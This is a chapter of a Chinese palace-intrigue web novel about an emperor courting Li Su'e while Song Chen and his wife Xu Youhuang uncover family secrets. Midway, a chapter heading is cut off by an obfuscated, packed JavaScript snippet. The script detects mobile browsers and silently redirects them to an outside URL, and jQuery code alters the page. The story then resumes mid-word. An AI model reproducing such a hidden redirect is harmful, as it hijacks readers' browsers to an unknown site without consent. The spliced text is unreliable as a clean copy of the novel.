赵旭远远就瞧见他们吃得开心,本是故意打趣他们,听了方千户所言,倒来了兴趣,抓了一枚在手中,细细端详一番,如数家珍般介绍道:“唔,你们口福不浅,这是李娘子从野外移栽过来的那株变异杏,滋味端得美妙,天下仅此一株,京中许多大人家眷等着吃呢。” 圣上,为何你的语气充满了自豪,就跟丈夫炫耀自家媳妇儿一般,还当着人家大伯的面儿,您也忒明目张胆了。 方千户暗暗叫苦,捧着杏子的手有些无措,余光偷偷撇向宋琛,本想卖个人情给他,哪知赵旭打蛇随棍上,一点儿也不避讳。 宋琛清楚宋珩对李素娥的感情,见到赵旭毫不掩饰对弟妹的势在必得,内心不是不替宋珩感到愤怒,可一切正如赵旭所言:一来他二人已经和离,二来宋珩自知有性命之忧,亲自把李素娥托付给了他。 因赵旭名义上的皇后苏袖,年长赵旭十九岁,传闻命格特殊,可化解赵旭英年早逝的命运,是个被先帝摆在皇后之位的活贡品,跟赵旭仅有夫妻之名,并无夫妻之实,所以赵旭毫不脸红地自诩尚未婚配,时常振振有词道:“男未婚,女未嫁,朕凭什么不珍惜这大好时机?” 宋琛无法想象宋珩是以何种心情,才做出将挚爱托付给情敌的决定。 但他知道自己终究失去了宋珩的信任,毕竟他曾为了徐家出卖过李素娥,出卖过一次,卖第二次也就不难了。徐有凰的誓言也不能取信宋珩,她与徐有凤到底是血浓于水的兄妹,而誓言太轻了,根本无力承诺沉重的现实。 不过宋琛可没有忽略赵旭脸上的愤愤之意,想来他又在李素娥那里碰壁了。 李素娥有意做餐饮方面的生意,安置李家那群带有残疾的老兵,只是所需本钱不小,一直未能成行。本来宋老爷有资助之意,她却婉言谢绝了,道是受够了投资人的指手画脚。 为了筹钱,李素娥捡起了老本行,行医治病。不过她因先帝一案,被霍良吊销了新医资质,不得从事新医行业,因此她只能乔装打扮化名韩梅梅,打着良医旗号为人诊治。 霍良开除新医祖师爷的行为,过于惊世骇俗,引起了公愤,都认为他是公报私仇。他本人却对外面的骂声,充耳不闻,由于和宋琛交情不浅,酒过三巡后,醉意朦胧道:“如今的形势,她已经不能只当一名大夫,要学会负起自己的责任。” 意思竟是要李素娥重振李家。 宋琛冷笑,她已失了入微之术,李氏的一切又被蚕食瓜分,除了依靠赵旭,她拿什么聚拢已散的人心。 说得大义凛然,不过是摸准赵旭对李素娥的心思,投其所好罢了,故意断了李素娥的后路,逼着她到赵旭身边去罢了。 但是有此种想法的人,似乎不止霍良,李素娥那个身陷囹圄,现在已经化身教坊司老鸨的赛雪,似乎也打着此种龌龊想法。 前不久,李素娥和赵旭因教坊女子起了争论,双方各执一词,闹得极为轰动。 赛雪毫无动容,反而半真半假道:“素娥,你与其为我们多费口舌,还不如不从了圣上。他来了大半年,待你的心,明眼人都看得出来。今后吹吹枕头风,让圣上效仿姜氏和李氏那样,以律令废除教坊司。没有了官府的助纣为虐,就会少很多可怜女子沦落风尘。” 当时宋琛陪着赵旭就站在门外,李素娥的声音隔着门板传入耳中:“赛雪,教坊司是历代用来震慑和羞辱敌人之举,他自私……咳,公私分明,不会因女人的枕头风而轻易废除。” 宋琛面色发青,若是赵旭答应废除,她莫不是还真打算从了赵旭。 显然赵旭也听出了李素娥的意动,自觉有了一丝希望,呼吸顿时急促起来,面露期待之色,竖起耳朵继续听赛雪的撺掇:“素娥,我知道你不喜欢圣上,可箴言说圣上难过而立,你就委屈几年,待他百年之后,天下大权你可尽揽于手,到时李氏旧部会全力助你立足。” “听起来倒是很有诱惑,可我性子急,做不到委屈自己。” 听到李素娥拒绝,赵旭立刻黑了脸,低声冷哼:“在宋家跟个受气包一般,不见你性急,朕看你就是担心朕三十而不死。” 宋琛:“……” ……第二章 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730450|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管李素娥心里打算如何,但她显然对赵旭的接近充满警惕,自从赵旭暴露身份后,一直佯装不知他的身份,还打着宋琛的旗号以势压他,每次见了他,都无好脸色,三言两语就将他打发了。 赵旭无奈,决定等半年,换个身份再去。 方千户对此十分不解:“圣上,李娘子虽说有脸盲,可是也并非完全不记得人。依卑职观察,对于要紧人物儿,大概还是有几分印象的,她连赛雪的模样都记得清,没道理记不住您啊。” “因为她一旦知道朕的身份,就会刻意忘掉朕。半年时间,足以将朕的模样丢到天边去了。”赵旭心情似乎不错,解答了方千户的疑惑,目光却略带深意地看着宋琛:“不过比起在昭狱强多了,那时朕前一刻见了她,后脚就将朕忘得干干净净。” 方千户咋舌,李娘子难道不怕冲撞了赵旭,可一想到她现在还安安稳稳地活着,就知道自己想多了,只是依旧疑惑,她为何要故意忘掉赵旭,莫非是欲擒故纵? “她大概是怕自己会情不自禁地杀了朕吧。”赵旭似乎看透了方千户的心底所想,随意地解释道,那口气恍若吃饭睡觉般轻松自然。 “如果李娘子有一天记起圣上,又该当如何?”方千户不由失声道。 “那自然欢喜到大赦天下。”赵旭似乎在畅想方千户所说的情景,眼睛高兴成一条缝,自娱自乐了一会儿,又补充道:“届时诸位爱卿很快便可向朕讨杯喜酒喝啦。” 方千户目瞪口呆,脑中快速闪过“真是牡丹花下死做鬼也风流”以及“你在想屁吃”,嘴上却道:“古人有云,精诚所至金石为开,圣上一片真心,定然会得偿所愿……” 方千户马屁拍得飞起,突然无端打了个激灵,似是想了什么,转头望向宋琛,只见他神色平淡如常,仿佛刚刚发毛之感只是错觉。 …… 时光如水,半年之期匆匆而过。 大概怕宋琛和汪静坏他好事,赵旭一道圣旨,将二人分别派去江南、九边督查税务。 临行的前一天,李素娥拉着宋沛,迎了上来,:“听说大哥要去江南办公务,我想着大哥毕竟是沛哥儿的亲生父亲,你这一去有两月之久,所以我特地带沛哥儿给你告个别。” 听到她特意加重的“亲生父亲”,宋琛抱起宋沛的手微滞,近来李素娥时常邀功一般,展示她对宋沛无微不至的照顾,每次还会强调一句“沛哥儿是大哥的亲子”之类的话。 他怀疑李素娥已经知道了,他和孟青平当年干下的龌龊事,故意来臊他。近来她跟孟青平的妻子宁慈走得很近,宁慈说不定将真相透漏给了她。可从她真诚的面上,又看不出任何端倪,仿佛对宋沛好只是为了求得他的关照。 “大哥,此去江南,会不会顺道去岭南探望一下你的侄子?”正当宋琛胡思乱想之际,忽然听李素娥问道。 宋琛听她提起宋珩和林思苑的儿子,不着痕迹地瞥了眼怀中的宋沛,随后若无其事道:“圣上只给了一个月,岭南怕是没空去。” “这样啊。”李素娥有些失望,从他怀中接过宋沛,便告辞了。 注视着一大一小相携而去的背影,宋琛深埋心底的预感,越发清晰起来,从她收养宋沛的那刻开始,她和宋珩就注定没有未来了。 “相公看得如此出神,到底是在看大人,还是看孩子?”徐有凰不知何时来到了宋琛的身侧,语气揶揄道。 “弟妹常说全都要,为夫就不能大人孩子一起看么?”宋琛想到了府中的一些传言,罕见的开起了玩笑。 自宋珩离去后,李素娥就与徐有凰起了矛盾,两个一见面就阴阳怪气,再也没有了当初的情分,起因是李素娥经常带着宋沛接近宋琛,有人嚼舌根说李素娥后悔嫁给宋珩,又有人反驳宋琛本是李素娥的未婚夫,徐有凰横插一脚,坏了人家的美好姻缘……总之,她们反目的原因似乎是为宋琛争风吃醋。 宋琛第一次听到这种无稽之谈简直要气笑了,可徐有凰和李素娥竟然默认了此种传闻,任由其发酵。 他很快就想明白了其中的原委。 也许李素娥早就已经知道了孙月骄不幸遇难。只是那时徐有凰怀孕,她将一切埋于心底,大概又觉得痛苦难以抑制,常常在无人之处,如同疯子般,含糊不清地自言自语:“她不可能无缘无故……徐有凤,是徐有凤害死了她!” 她们相识十多年,亦师亦友亦知己,对彼此了解之深,不亚于他和宋珩。两人定然清楚,双方对孙月骄之死心知肚明,做不到自欺欺人,又因多年情意,不愿揭开残忍真相,只能心照不宣地用争风吃醋掩饰血淋淋的伤疤。 宋琛唯一郁闷的是,李素娥为何总拿他做筏子? 跟宋珩吵架是这般,跟徐有凰闹矛盾还是这般。 徐有凰与宋琛夫妻多年,怎会不清楚他心中所想,笑着捶着他的胸口道:“人家不过开个玩笑,相公倒是不依不饶了。” “夫人如何看沛哥儿?”宋琛与她笑闹了一会儿,似是心血来潮般问道。 徐有凰说完,偏过头看向他,又继续道:“如果是问我的感受,不能说毫无芥蒂,除了怨你的隐瞒,但也并无太大的怨怼,毕竟沛哥儿是在我们成亲前所生。若沛哥儿是我们婚后所生,我肯定容不下他。” 宋琛赶忙表忠心,哄得徐有凰眉开眼笑,过了良久,又郑重问道:“有凰,依你之见,阿珩跟弟妹还有可能吗?” 徐有凰微微一怔,叹了口气,“我清楚二弟对素娥的付出,也知道他有很多苦衷,可他参与毒杀姜侯爷,又跟林思苑生下宋沣,素娥恐怕无论如何也与他过不下去了。” 似是不愿再谈论这个沉重的问题,徐有凰又继续刚才话题:“相公,如果是问我对沛哥的看法,敏感多思,可忠厚踏实,又很重感情,是个难得好孩子。素娥自从认下这个孩子后,心情开朗许多,不似以往偏激,沛哥儿真的合她的心意。” 宋琛听到这里脸色微变,眼底有愧疚一闪而过,徐有凰将他的神色尽收眼底,起先有些疑惑,继而仿佛明白了什么,心底升起一个不可思议的念头,声音颤抖道:“姓宋的,你老实告诉我,宋沛到底是谁的孩子?”